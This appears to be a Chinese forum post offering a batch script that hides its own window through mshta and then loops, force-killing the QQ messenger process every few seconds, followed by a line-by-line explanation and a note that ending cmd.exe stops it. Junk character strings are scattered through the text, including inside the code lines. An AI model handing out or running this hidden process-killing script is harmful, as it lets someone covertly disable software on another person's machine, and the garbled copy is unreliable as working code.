|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 % e. E% O3 j0 j3 o, m7 b U$ S
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
4 @* H, u/ Q; x; K6 f- o) r9 [1 }, z' @& w' v) C6 L# F
@echo off # v, U/ P6 o8 @8 m
if "%1" == "h" goto begin - w! R3 i- @' q- b, {
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
/ x, @7 k' A! F, U' t:begin 6 V9 W) Z6 s' | ?( j; k
tasklist |find /i "QQ.exe"
" G* A% A8 a$ f+ Y: K3 _ Qif %errorlevel%==0 (goto killit) else (goto next) ; I) d- d; q& a+ Y
:killit
+ D1 Z" j4 ?5 T/ \+ etaskkill /f /im QQ.exe
2 X+ n! v4 w4 s2 B2 p:next * o/ d0 ^4 |: T# n+ e* ?
ping -n 3 127.t >nul 2>nul ) e" K' A* L% }+ ~: v
goto begin 2 u0 M) q% U$ T- A' X4 h) S
/ l% O+ H. ~+ p( i. ` I: E
代码到此为止 ) {3 i R1 X# Y0 g6 S0 H
讲解如下:
3 D0 t: W/ ^) a. P9 ?9 `2 Q@echo off ------关闭回显 0 w: {! Y, Y/ b( R. C
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 ) z3 C: }. k9 Z1 }' M: j4 \
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
0 h4 Z, O' M. Q2 q/ I3 j7 _:begin ------------定一段名begin
( S5 U8 }) h. W/ ^/ Xtasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe + {) S( h8 R% G% z
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next 8 |. ]* B4 p2 @+ x" H' {5 n
:killit " q& U; r# R" Y I/ a
taskkill /f /im QQ.exe----终结进程QQ.exe
& j a J& a) J. p5 i:next 4 p/ s4 n7 W+ k
ping -n 3 127.t >nul 2>nul -----延迟一段时间 W6 B5 n6 V: v$ C
goto begin--------------返回执行begin
, [& J1 n& Y& \' D G |
|